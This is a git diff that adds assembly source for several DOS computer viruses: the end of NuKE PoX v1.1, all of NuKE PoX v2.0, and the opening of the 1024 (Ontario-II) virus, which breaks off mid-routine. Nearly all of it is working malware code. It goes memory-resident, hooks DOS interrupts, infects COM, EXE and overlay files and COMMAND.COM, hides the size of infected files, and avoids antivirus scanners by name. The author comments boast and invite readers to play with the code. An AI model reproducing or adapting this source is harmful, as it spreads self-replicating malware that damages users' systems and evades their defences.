+;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +check_name proc near + push si + push cx + + mov si,dx + mov cx,128h +loop_me: + cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String + je next_ok + inc si + loop loop_me +next_ok: + cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT) + jne next_1 ;Naaa + cmp ds:[si-4],'RP' + je bad_file ;Yupe... +next_1: + cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee) + jne next_2 ;Naaa + cmp ds:[si-4],'CS' + je bad_file ;Yupe... +next_2: + cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE + jne next_3 ;Naaa + cmp ds:[si-4],'EL' + je bad_file ;Yupe... +next_3: + pop cx + pop si ;good file Set CARRY FLAG + clc ;to normal + retn +bad_file: + pop cx ;Bad file, Set CARRY FLAG + pop si ;ON!!! + stc + retn +check_name endp + +command db "C:\COMMAND.COM",0 ;What to infect! +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h + db 30h DUP (?) +msg db "NukE PoX V1.1 - R.S" +last: +seg_a ends + + end start diff --git a/n/NPOX-V20.ASM b/n/NPOX-V20.ASM new file mode 100755 index 0000000..ff712b2 --- /dev/null +++ b/n/NPOX-V20.ASM @@ -0,0 +1,1453 @@ +;========================================================================== +; ** NuKE Pox v2.0 ** +;This is VERY old code but I promised to give it out, you'll see it exactly +;like Npox v1.1 in IJ#4, The code here is VERY BADLY written, I wrote WHOLE +;procedures TWICE! so LOTS of double code, I leave it UNTOUCHED for you to +;see, and understand it! I don't care if you fuck with it, go for it! +;The method of TSR is old, method of getting the Vectors is bad, the way +;I infect EXEs ain't too hot... But hell it works! It infects overlays.. +;it won't infect F-prot.exe or anything with ????SCAN.EXE like SCAN.EXE or +;TBSCAN.EXE etc... Command.com dies fast... Really neat...Play all you like +; +;And to all those that said I `Hacked' this... +; FFFFFF UU UU CCCC KK KK YY YY OOOO UU UU +; FF UU UU CC CC KK KK YY YY OO OO UU UU +; FFFF UU UU CC KKK === YY OO OO UU UU +; FF UU UU CC CC KK KK YY OO OO UU UU +; FF UUUUUU CCCC KK KK YY OOOO UUUUUU +;Just cuz you can't do it, doesn't mean I can't, anyhow my 93 viruses are +;500% better than this one... +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* -* +;*- Virus: NuKE PoX Version: 2.0 *- +;-* ~~~~~~ ~~~~~~~~ -* +;*- Notes: EXE & COM & OVL Infector, TSR Virus. Dir Stealth Routine. *- +;-* Will Disinfect files that are opened, and re-infect them -* +;*- when they are closed! Executed files are disinfected then *- +;-* executed, and when terminated reinfected! -* +;*- VERY HARD to stop, it goes for your COMMAND.COM! beware! *- +;-* It is listed as a COMMON Virus due to is stealthiness! -* +;*- Bytes: 1800 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +virus_size equ last - init_virus ;Virus size +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h ;Offset location + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h ;COM file! +rocko proc far +start: jmp init_virus +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Virus Begins Here... +;------------------------------------------------------------------------- +init_virus: call doit_now ;Doit VirusMan... +doit_now: pop bp ;Not to Lose Track + sub bp,106h ;Set our position + push ax ;Save all the regesters + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + mov ax,0abcdh ;Are we resident Already? + int 21h ;***McAfee Scan String! + cmp bx,0abcdh ;Yupe... Quit Then... + je exit_com + push cs ;Get CS=DS + pop ds + mov cx,es + mov ax,3521h ;Sometimes tend to inter- + int 21h ;cept this Interrupt... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 ;Get TOM size + mov dx,virus_size ;Virus size in DX + mov cl,4 ;Shift 4 bits + shr dx,cl ;Fast way to divide by 16 + add dx,4 ;add 1 more para segment + mov cx,es ;current MCB segment + sub bx,dx ;sub virus_size from TOM + inc cx ;put back right location + mov es,cx + mov ah,4ah ;Set_block + int 21h + + jc exit_com + mov ah,48h ;now allocate it + dec dx ;number of para + mov bx,dx ; + int 21h + jc exit_com + dec ax ;get MCB + mov es,ax + mov cx,8h ;Made DOS the owner of MCB + mov es:mut2,cx ;put it... + sub ax,0fh ;get TOM + mov di,mut3 ;beginnig of our loc in mem + mov es,ax ; + mov si,bp ;delta pointer + add si,offset init_virus ;where to start + mov cx,virus_size + cld + repne movsb ;move us + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h +exit_com: push cs + pop ds + cmp word ptr cs:[buffer][bp],5A4Dh + je exit_exe_file + mov bx,offset buffer ;Its a COM file restore + add bx,bp ;First three Bytes... + mov ax,[bx] ;Mov the Byte to AX + mov word ptr ds:[100h],ax ;First two bytes Restored + add bx,2 ;Get the next Byte + mov al,[bx] ;Move the Byte to AL + mov byte ptr ds:[102h],al ;Restore the Last of 3b + pop ds + pop es + pop bp ;Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ;Jump Back to Beginning + push ax ;Restores our IP (a CALL + retn ;Saves them, now we changed +command db "C:\COMMAND.COM",0 + +exit_exe_file: mov bx,word ptr cs:[vir_cs][bp] ;fix segment loc + mov dx,cs ; + sub dx,bx + mov ax,dx + add ax,word ptr cs:[exe_cs][bp] ;add it to our segs + add dx,word ptr cs:[exe_ss][bp] + mov bx,word ptr cs:[exe_ip][bp] + mov word ptr cs:[fuck_yeah][bp],bx + mov word ptr cs:[fuck_yeah+2][bp],ax + mov ax,word ptr cs:[exe_ip][bp] + mov word ptr cs:[Rock_fix1][bp],dx + mov word ptr cs:[Rock_fix2][bp],ax + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + db 0B8h ;nothing but MOV AX,XXXX +Rock_Fix1: + dw 0 + cli + mov ss,ax + db 0BCh ;nothing but MOV SP,XXXX +Rock_Fix2: + dw 0 + sti + db 0EAh ;nothing but JMP XXXX:XXXX +Fuck_yeah: + dd 0 +int21 dd ? ;Our Old Int21 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Dir Handler +;------------------------------------------------------------------------- +old_dir: call calldos21 ;get FCB + test al,al ;error? + jnz old_out ;nope + push ax + push bx + push es + mov ah,51h ;get PSP + int 21h + mov es,bx ; + cmp bx,es:[16h] ; + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh + int 21h + pop ax + inc al ;Extended FCB? + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh + cmp al,1eh + jnz not_infected + and byte ptr es:[bx+17h],0e0h ;fix secs + sub word ptr es:[bx+1dh],virus_size + sbb word ptr es:[bx+1fh],0 +not_infected: pop es + pop bx + pop ax +old_out: iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 21 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: cmp ah,11h + je old_dir + cmp ah,12h + je old_dir + cmp ax,4b00h ;File executed + je dis_infect + cmp ah,3dh + je check_file + cmp ah,3eh + je check_file2 + cmp ax,0abcdh ;Virus testing + jne int21call + mov bx,0abcdh +int21call: jmp dword ptr cs:[int21] ;Split... + +check_file: jmp opening_file ;Like a Charm +check_file2: jmp closing_file +dis_infect: call disinfect ;EXE & COM okay +dont_disinfect: push dx + pushf + push cs + call int21call + pop dx + +execute: push ax + push bx + push cx + push dx + push ds + + push ax + push bx + push cx + push dx + push ds + push bp + push cs + pop ds + mov dx,offset command + mov bp,0abcdh + jmp command1 +command_ret: pop bp + pop ds + pop dx + pop cx + pop bx + pop ax + call check_4_av + jc exit1 +command1: mov ax,4300h ;Get file Attribs + call calldos21 + jc exit1 + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + call calldos21 + jc exit +open_file: mov ax,3D02h + call calldos21 +exit1: jc exit + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + Call calldos21 + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + xor al,cl ;Is it 60 seconds? + jz exit ;File already infected + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + mov ah,3Fh + mov cx,1Bh ;Read first 1B + mov dx,offset ds:[buffer] ;into our Buffer + call calldos21 + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer + xor cx,cx ;to EOF File + xor dx,dx + call calldos21 + jc exit_now ;Error Split + cmp word ptr ds:[buffer],5A4Dh ;Is file an EXE? + je exe_infect ;Infect EXE file + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr ds:[jump_address+1],cx + call infect_me ;Infect! + jc exit + mov ah,40h ;Write back the + mov dx,offset jump_address + mov cx,3h + call calldos21 +exit_now: + mov cx,word ptr ds:[old_time] ;Restore old time + mov dx,word ptr ds:[old_date] ;Restore Old date + mov ax,5701h + call calldos21 + mov ah,3Eh + call calldos21 +exit: cmp bp,0abcdh + je command2 + pop ds + pop dx + pop cx + pop bx + pop ax + iret +command2: jmp command_ret + +exe_infect: mov cx,word ptr cs:[buffer+20] + mov word ptr cs:[exe_ip],cx + mov cx,word ptr cs:[buffer+22] + mov word ptr cs:[exe_cs],cx + mov cx,word ptr cs:[buffer+16] + mov word ptr cs:[exe_sp],cx + mov cx,word ptr cs:[buffer+14] + mov word ptr cs:[exe_ss],cx + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[vir_cs],dx + push ax + push dx + call infect_me + pop dx + pop ax + mov word ptr cs:[buffer+22],dx + mov word ptr cs:[buffer+20],ax + pop dx + pop ax + jc exit + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + add ax,40h + mov word ptr cs:[buffer+14],dx + mov word ptr cs:[buffer+16],ax + pop dx + pop ax + push bx + push cx + mov cl,7 + shl dx,cl + mov bx,ax + mov cl,9 + shr bx,cl + add dx,bx + and ax,1FFh + jz outta_here + inc dx +outta_here: pop cx + pop bx + mov word ptr cs:[buffer+2],ax + mov word ptr cs:[buffer+4],dx + mov ah,40h + mov dx,offset ds:[buffer] + mov cx,20h + call calldos21 +exit_exe: jmp exit_now +rocko endp +vir_cs dw 0 +exe_ip dw 0 +exe_cs dw 0 +exe_sp dw 0 +exe_ss dw 0 +exe_sz dw 0 +exe_rm dw 0 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Opening File handle AX=3D +;------------------------------------------------------------------------- +opening_file: call check_extension + jnc open_fuck2 + call check_exten_exe + jnc open_fuck2 + jmp dword ptr cs:[int21] +open_fuck2: push ax + mov ax,3d02h + call calldos21 + jnc open_fuck1 + pop ax + iret +open_fuck1: push bx + push cx + push dx + push ds + mov bx,ax + mov ax,5700h + call calldos21 + mov al,cl + or cl,1fh + dec cx ;60 Seconds + xor al,cl + jnz opening_exit3 + dec cx + mov word ptr cs:[old_time],cx + mov word ptr cs:[old_date],dx + mov ax,4202h ;Yes Pointer to EOF + xor cx,cx + xor dx,dx + call calldos21 + mov cx,dx + mov dx,ax + push cx + push dx + sub dx,1Bh ;Get first 3 Bytes + sbb cx,0 + mov ax,4200h + call calldos21 + push cs + pop ds + mov ah,3fh ;Read them into Buffer + mov cx,1Bh + mov dx,offset buffer + call calldos21 + xor cx,cx ;Goto Beginning of File + xor dx,dx + mov ax,4200h + call calldos21 + mov ah,40h ;Write first three bytes + mov dx,offset buffer + mov cx,1Bh + cmp word ptr cs:[buffer],5A4Dh + je open_exe_jmp + mov cx,3h +open_exe_jmp: call calldos21 + pop dx ;EOF - Virus_Size + pop cx ;to get ORIGINAL File size + sub dx,virus_size + sbb cx,0 + mov ax,4200h + call calldos21 + mov ah,40h ;Fix Bytes + xor cx,cx + call calldos21 + mov cx,word ptr cs:[old_time] + mov dx,word ptr cs:[old_date] + mov ax,5701h + int 21h + mov ah,3eh ;Close File + call calldos21 +opening_exit3: pop ds + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Closing File Handle INFECT it! +;------------------------------------------------------------------------- +closing_file: cmp bx,0h + je closing_bye + cmp bx,5h + ja close_cont +closing_bye: jmp dword ptr cs:[int21] + +close_cont: push ax + push bx + push cx + push dx + push di + push ds + push es + push bp + push bx + mov ax,1220h + int 2fh + mov ax,1216h + mov bl,es:[di] + int 2fh + pop bx + add di,0011h + mov byte ptr es:[di-0fh],02h + add di,0017h + cmp word ptr es:[di],'OC' + jne closing_next_try + cmp byte ptr es:[di+2h],'M' + jne pre_exit + jmp closing_cunt3 +closing_next_try: + cmp word ptr es:[di],'XE' + jne pre_exit + cmp byte ptr es:[di+2h],'E' + jne pre_exit +closing_cunt: cmp word ptr es:[di-8],'CS' + jnz closing_cunt1 ;SCAN + cmp word ptr es:[di-6],'NA' + jz pre_exit +closing_cunt1: cmp word ptr es:[di-8],'-F' + jnz closing_cunt2 ;F-PROT + cmp word ptr es:[di-6],'RP' + jz pre_exit +closing_cunt2: cmp word ptr es:[di-8],'LC' + jnz closing_cunt3 + cmp word ptr es:[di-6],'AE' ;CLEAN + jnz closing_cunt3 +pre_exit: jmp closing_nogood +closing_cunt3: mov ax,5700h + call calldos21 + + mov al,cl + or cl,1fh + dec cx ;60 Seconds + xor al,cl + jz closing_nogood + push cs + pop ds + mov word ptr ds:[old_time],cx + mov word ptr ds:[old_date],dx + mov ax,4200h + xor cx,cx + xor dx,dx + call calldos21 + mov ah,3fh + mov cx,1Bh + mov dx,offset buffer + call calldos21 + jc closing_no_good + mov ax,4202h + xor cx,cx + xor dx,dx + call calldos21 + jc closing_no_good + cmp word ptr ds:[buffer],5A4Dh + je closing_exe + mov cx,ax + sub cx,3h + mov word ptr ds:[jump_address+1],cx + call infect_me + jc closing_no_good + mov ah,40h + mov dx,offset jump_address + mov cx,3h + call calldos21 +closing_no_good: + mov cx,word ptr ds:[old_time] + mov dx,word ptr ds:[old_date] + mov ax,5701h + call calldos21 +closing_nogood: pop bp + pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] +closing_exe: mov cx,word ptr cs:[buffer+20] + mov word ptr cs:[exe_ip],cx + mov cx,word ptr cs:[buffer+22] + mov word ptr cs:[exe_cs],cx + mov cx,word ptr cs:[buffer+16] + mov word ptr cs:[exe_sp],cx + mov cx,word ptr cs:[buffer+14] + mov word ptr cs:[exe_ss],cx + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[vir_cs],dx + push ax + push dx + call infect_me + pop dx + pop ax + mov word ptr cs:[buffer+22],dx + mov word ptr cs:[buffer+20],ax + pop dx + pop ax + jc closing_no_good + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + add ax,40h + mov word ptr cs:[buffer+14],dx + mov word ptr cs:[buffer+16],ax + pop dx + pop ax + push bx + push cx + mov cl,7 + shl dx,cl + mov bx,ax + mov cl,9 + shr bx,cl + add dx,bx + and ax,1FFh + jz close_split + inc dx +close_split: pop cx + pop bx + mov word ptr cs:[buffer+2],ax + mov word ptr cs:[buffer+4],dx + mov ah,40h + mov dx,offset ds:[buffer] + mov cx,20h + call calldos21 +closing_over: jmp closing_no_good +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Infection Routine... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc + mov ah,40h + mov dx,offset init_virus + mov cx,virus_size + call calldos21 + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to + xor dx,dx ;top of file + call calldos21 + jc exit_error ;Split Dude... + clc ;Clear carry flag + ret +exit_error: + stc ;Set carry flag + ret +infect_me endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; DisInfection Routine for 4B +;------------------------------------------------------------------------- +Disinfect PROC + push ax + push bx ;Save them + push cx + push dx + push ds + mov ax,4300h ;Get file Attribs + call calldos21 + test cl,1h ;Test for Normal Attribs + jz okay_dis ;Yes, File can be opened + and cl,0feh ;No, Set them to Normal + mov ax,4301h ;Save attribs to file + call calldos21 + jc half_way +okay_dis: mov ax,3d02h ;File now can be opened + call calldos21 ;Safely + jc half_way + mov bx,ax ;Put File Handle in BX + mov ax,5700h ;Get File Time & Date + call calldos21 + mov al,cl ;Check to see if infected + or cl,1fh ;Unmask Seconds + dec cx ;Test to see if 60 seconds + xor al,cl + jnz half_way ;No, Quit File AIN'T + dec cx + mov word ptr cs:[old_time],cx + mov word ptr cs:[old_date],dx + mov ax,4202h ;Yes, file is infected + xor cx,cx ;Goto the End of File + xor dx,dx + call calldos21 + push cs + pop ds + mov cx,dx ;Save Location into + mov dx,ax ;CX:DX + push cx ;Push them for later use + push dx + sub dx,1Bh ;Subtract file 1Bh from the + sbb cx,0 ;End so you will find the + mov ax,4200h ;Original EXE header or + call calldos21 ;First 3 bytes for COMs + mov ah,3fh ;Read them into Buffer + mov cx,1Bh ;Read all of the 1B bytes + mov dx,offset buffer ;Put them into our buffer + call calldos21 + jmp half +half_way: jmp end_dis +half: xor cx,cx ; + xor dx,dx ;Goto the BEGINNING of file + mov ax,4200h + call calldos21 + mov ah,40h ;Write first three bytes + mov dx,offset buffer ;from buffer to COM + mov cx,1Bh + cmp word ptr cs:[buffer],5A4Dh + je dis_exe_jmp + mov cx,3h +dis_exe_jmp: call calldos21 + pop dx ;Restore CX:DX which they + pop cx ;to the End of FILE + sub dx,virus_size ;Remove Virus From the END + sbb cx,0 ;of the Orignal File + mov ax,4200h ;Get new EOF + call calldos21 + mov ah,40h ;Write new EOF to File + xor cx,cx + call calldos21 + mov cx,word ptr cs:[old_time] + mov dx,word ptr cs:[old_date] + mov ax,5701h + call calldos21 + mov ah,3eh ;Close File + call calldos21 +end_dis: pop ds + pop dx + pop cx ;Restore 'em + pop bx + pop ax + ret +disinfect ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check File Extension DS:DX ASCIIZ +;-------------------------------------------------------------------------- +Check_extension PROC + push si + push cx + mov si,dx + mov cx,256h +loop_me: cmp byte ptr ds:[si],2eh + je next_ok + inc si + loop loop_me +next_ok: cmp word ptr ds:[si+1],'OC' + jne next_1 + cmp byte ptr ds:[si+3],'M' + je good_file +next_1: cmp word ptr ds:[si+1],'oc' + jne next_2 + cmp byte ptr ds:[si+3],'m' + je good_file +next_2: pop cx + pop si + stc + ret +good_file: pop cx + pop si + clc + ret +Check_extension ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check File Extension DS:DX ASCIIZ +;------------------------------------------------------------------------- +Check_exten_exe PROC + push si + push cx + mov si,dx + mov cx,256h +loop_me_exe: cmp byte ptr ds:[si],2eh + je next_ok_exe + inc si + loop loop_me_exe +next_ok_exe: cmp word ptr ds:[si+1],'XE' + jne next_1_exe + cmp byte ptr ds:[si+3],'E' + je good_file_exe +next_1_exe: cmp word ptr ds:[si+1],'xe' + jne next_2_exe + cmp byte ptr ds:[si+3],'e' + je good_file_exe +next_2_exe: pop cx + pop si + stc + ret +good_file_exe: pop cx + pop si + clc + ret +Check_exten_exe ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Call Int_21h Okay +;------------------------------------------------------------------------- +calldos21 PROC + pushf + call dword ptr cs:[int21] + retn +calldos21 ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; MultiPly +;-------------------------------------------------------------------------- +multiply PROC + push bx + push cx + mov cl,0Ch + shl dx,cl + xchg bx,ax + mov cl,4 + shr bx,cl + and ax,0Fh + add dx,bx + pop cx + pop bx + retn +multiply ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check for AV file... Like SCAN.EXE or F-PROT.EXE +;------------------------------------------------------------------------- +Check_4_av PROC + push si + push cx + mov si,dx + mov cx,256h +av: cmp byte ptr ds:[si],2eh + je av1 + inc si + loop av +av1: cmp word ptr ds:[si-2],'NA' + jnz av2 + cmp word ptr ds:[si-4],'CS' + jz fuck_av +av2: cmp word ptr ds:[si-2],'NA' + jnz av3 + cmp word ptr ds:[si-4],'EL' + jz fuck_av +av3: cmp word ptr ds:[si-2],'TO' + jnz not_av + cmp word ptr ds:[si-4],'RP' + jz fuck_av +not_av: pop cx + pop si + clc + ret +fuck_av: pop cx + pop si + stc + ret +Check_4_av ENDP +msg db "NuKE PoX V2.0 - Rock Steady" +old_time dw 0 +old_date dw 0 +file_handle dw 0 +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h ;\ + db 18h DUP (00) ;-Make 1Bh Bytes +last: +seg_a ends + end start +;========================================================================== +;========================================================================= +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; 1024-SRC Virus (Ontario-II) by Death Angel +; ======== +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; +;This VIRUS was only written as an experiment to see how far a computer +;virus could go through development. This pariticular virus in its present +;form WILL NOT do any damage to your data or go off bouncing a ball across +;your screen or play Yankee Doddle, IT WILL ONLY infect programs. +; +; Virus Information: +; Hides: In upper RAM, requires 3K of memory. +; Size: 1K (exactly when attached to either EXE or COM files) +; ID: Seconds in date of file is set to 32 (impossible value) +; .COM files, the 4th byte is 'O' +; .EXE files, the stack pointer is 0600h +; +; Cover-Up: If loaded with DEBUG, it will remove itself from memory. +; When doing a DIR, it will cover up the filesize increase. +; +;Notes: Also infects on a file open if the file ends in COM,EXE or OVL +; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Stack_Size Equ 512+1 + +Code Segment Para Public 'CODE' + Assume Cs:Code, Ds:Code + Org 0000h + +Jmpfar Macro addr + db 0EAh + dd addr +Endm + +Callfar Macro addr + db 09Ah + dd addr +Endm + +Retfar Macro num + db 0CAh + dw num +Endm + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; Do a loop to decode the rest of the virus. + +Virus_Begin: + +V00: Mov Bx, offset V05-V05_Back +V04: Mov Cx, offset Start_Code-(offset V05-V05_Back) +V01: Mov Al, 00h +V02: Add Byte ptr Cs:[Bx], Al +V03: Xor Al, 00h + Inc Bx + Loop V02 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +V05_Back Equ 0 + +V05: Sub Bx, offset Start_Code + Xchg Ax, Cx + Dec Ax + Int 21h + Or Al, Ah + Je Run_Prog + Push Ds + Xor Di, Di + Mov Ds, Di + Lds Ax, Dword ptr Ds:[21h*4] + Mov Word ptr Cs:[Bx].Saved_21, Ax + Mov Word ptr Cs:[Bx].Saved_21+2, Ds + Mov Cx, Es + Dec Cx + Mov Ds, Cx + Sub Word ptr Ds:[Di+03h], 3072/16 + Mov Ax, Word ptr Ds:[Di+12h] + Sub Ax, 3072/16 + Mov Word ptr Ds:[Di+12h], Ax + Mov Es, Ax + Sub Ax, 1000h + Mov Word ptr Cs:[Bx+Dos_Seg-2], Ax + Push Cs + Pop Ds + Mov Si, Bx + Mov Cx, offset Start_Code + Cld + Rep Movsb + Mov Ds, Cx + Cli + Mov Word ptr Ds:[21h*4], offset New_21 + Mov Word ptr Ds:[21H*4]+2, Es + Sti + Mov Ax, 4BFFh + Push Bx + Int 21h + Pop Bx + Pop Ds + Push Ds + Pop Es + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Run_Prog: + Lea Si, [Bx].Start_Code + Mov Di, 0100h + Cmp Bx, Di + Jb Run_Exe + +Run_COM: + Push Di + Movsw + Movsw + Ret + +Run_EXE: + Mov Ax, Es + Add Ax, 0010h + Add Word ptr Cs:[Si+02], Ax + Add Word ptr Cs:[Si+04], Ax + Cli + Mov Sp, Word ptr Cs:[Si+06] + Mov Ss, Word ptr Cs:[Si+04] + Sti + Jmp Dword ptr Cs:[Si+00] + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Check_Present: + Inc Ax + Iret + +New_21: Cmp Ax, 0FFFFh ; Checking if resident ? + Je Check_Present + Cmp Ah, 4Bh ; Executing a program ? + Je Load_Program + Cmp Ah, 11h ; Doing a DIR ? + Je Find_First + Cmp Ah, 12h ; Doing a DIR ? + Je Find_Next + Cmp Ax, 3D00h ; Opening a file ? + Jne Run_21 + Call Open_File +Run_21: + Jmpfar 0 ; Goto vector 21h +Saved_21 Equ $-4 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Find_First: +Find_Next: + Push Bp + Mov Bp, Sp + Cmp Word ptr [Bp+04], 1234h +Dos_Seg: + Pop Bp + Jb Run_21 + Call Do_21 + Call Save_Regs + Mov Ah, 2Fh + Call Do_21 + Cmp Byte ptr Es:[Bx], 0FFh + Je F20 + Sub Bx, +7 +F20: Mov Al, Byte ptr Es:[Bx].1Eh + And Al, 1Fh + Cmp Al, 1Fh + Jne F00 + Mov Dx, Word ptr Es:[Bx].26h + Mov Ax, Word ptr Es:[Bx].24h + Sub Ax, offset Virus_End + Sbb Dx, +00 + Or Dx, Dx + Jb F00 + Mov Word ptr Es:[Bx].26h, Dx + Mov Word ptr Es:[Bx].24h, Ax +F00: Call Restore_Regs + IRet + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Load_Program: + Cmp Al, 01h + Je Disinfect_DEBUG + Cmp Al, 0FFh + Je Infect_COMSPEC + Call Infect_File + Jmp Run_21 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Infect_COMMAND: + Push Dx + Push Ds + Mov Dx, offset Command_File + Push Cs + Pop Ds + Mov Byte ptr Ds:Command_Flag, 0FFh + Call Infect_File + Pop Ds + Pop Dx + Iret + +Infect_COMSPEC: + Mov Ah, 51h + Call Do_21 + Mov Es, Bx + Mov Ds, Es:[002Ch] + Xor Si, Si + Push Cs + Pop Es +LP00: Mov Di, offset COMSPEC_name + Mov Cx, 0004h + Rep Cmpsw + Jcxz LP20 +LP10: Lodsb + Or Al, Al + Jne LP10 +; Cmp Al, Byte ptr [Si] + Cmp Byte ptr [Si], 00 + Jne LP00 + Jmp Infect_COMMAND +LP20: Mov Dx, Si + Mov Byte ptr Cs:Command_Flag, 0FFh + Call Infect_File + IRet + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Disinfect_DEBUG: + Push Es + Push Bx + Call Do_21 + Pop Bx + Pop Es + Call Save_Regs + Jb LP30 + Xor Cx, Cx + Lds Si, Dword ptr Es:[Bx].12h + Push Ds + Push Si + Mov Di, 0100h + Cmp Si, Di + Jl DI00 + Ja LP31 + Lodsb + Cmp Al, 0E9h + Jne LP31 + Lodsw + Push Ax + Lodsb + Cmp Al, 'O' + Pop Si + Jne LP31 + Add Si, 103h + Inc Cx + Inc Cx + Pop Ax + Push Si + Push Ds + Pop Es + Jmp short DI10 +DI00: Lea Di, Dword ptr [Bx].0Eh + Cmp Word ptr Es:[Di].00h, offset Virus_End+Stack_Size-2 + Jne LP31 ; Note 4B01/decrements stack by 2 +DI10: Lodsb + Cmp Al, 0BBh + Jne LP31 + Lodsw + Push Ax + 